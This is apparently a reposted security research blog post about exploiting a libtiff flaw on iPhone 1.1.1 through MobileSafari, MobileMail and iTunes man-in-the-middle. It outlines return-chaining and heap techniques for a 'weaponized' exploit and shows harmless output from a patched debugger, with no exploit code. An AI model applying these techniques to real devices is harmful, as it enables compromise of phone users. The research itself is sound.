In my last post, I described the Apple iPhone in terms of being a security tool and a security target. At the time, I had just finished a first pass on iPhone shellcode. What I didn’t realize was that a stock iPhone does not include a /bin/sh executable, nor any of the standard Unix command line tools. My shellcode would only be useful against iPhones which had been updated with the BSD environment package.

A few days later, Apple released the 1.1.1 update. This update removed any installed third-party packages and relocked unlocked phones. Fortunately for the iPhone development community, Apple shipped the iPhone with a vulnerable version of the libtiff library and didn’t bother updating it for the 1.1.1 release. This vulnerability has already been used to run homebrew games on the Sony PSP and can be exploited through the MobileSafari web browser. Two of the Toc2rta.com members (Niacin and Dre) put together an impressive exploit for this flaw that jailbreaks the phone directly from the browser. This exploit prepares a gigantic stack frame and returns back to an address within the libSystem shared libary. After a ridiculous amount of chained returns, it manages to rename a file, create a symlink, and remount the root filesystem. A hell of a job, especially considering the state of the iPhone debugging tools.

Using a security vulnerability to enable third-party development is nothing new, but in the case of iPhone, this can be a problem. The libtiff flaw can be triggered by both MobileSafari and MobileMail, two applications which are used heavily by many iPhone users. The tricky part is writing an exploit which is reliable and is not limited to calling existing functions within a shared library. One approach is to return to a memcpy() call, another is to find a bounce path through a system library, back to the heap. Technically, a heap fill attack could work as well, but only by using a large tiff file or through the use of javascript in MobileSafari.

The first step to writing a weaponized exploit for this flaw is to obtain a usable debugger. The weasel utility is a great start, but is missing a few useful features, such as memory search and command repetition. I hacked out a new version of weasel (hdm-0.1) tonight that provides a “v” command (dump the virtual memory mappings), a “f” command (search for an ascii or hex string inside process memory), and the ability to attach to a running process. While this code works, it is still ugly as sin, so try not to judge it too harshly (yes, there are scanf overflows in input parsing, no, I don’t care). The following example shows the memory search command locating all instances of the word “Hello” in the MobileSafari process.

# ./weasel -p 259 /Applications/MobileSafari.app/MobileSafari
Read 4 symbols.
[$3008b224 weasel] f 0x0 Hello
009e2168 48 65 6c 6c 6f 3f 27 2c 48 74 6d 6c 55 72 6c 3a
02b2d158 48 65 6c 6c 6f 3f 27 2c 48 74 6d 6c 55 72 6c 3a
3134e113 48 65 6c 6c 6f 00 5f 53 53 4c 50 72 65 70 61 72
3134e179 48 65 6c 6c 6f 44 6f 6e 65 00 5f 53 53 4c 50 72

Check back soon for part two, writing the exploit, and part three, BYOS (bring your own shell).

Update: The libtiff exploit can be triggered through the iTunes Music Store by anyone who can MiTM the WiFi connection (or run a fake access point). Credit for this goes to KF. Another fun use of MiTM attacks against iPhone 1.1.1 users can be found here (also courtesy of KF).



Satu respons untuk “PROYEK METASPLOIT”

  1. Do you mind if I quote a couple of your articles as long as I provide credit
    and sources back to your blog? My website is in the very same area of interest
    as yours and my visitors would genuinely benefit from a lot of the information you provide here.
    Please let me know if this ok with you. Thanks!

    Posted by the estate lawyers | Mei 13, 2014, 4:50 am

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout /  Ubah )

Foto Google+

You are commenting using your Google+ account. Logout /  Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout /  Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout /  Ubah )


Connecting to %s


Enter spyroZONE! - www.spyrozone.net
Januari 2008
« Des   Feb »



Live Chat

%d blogger menyukai ini: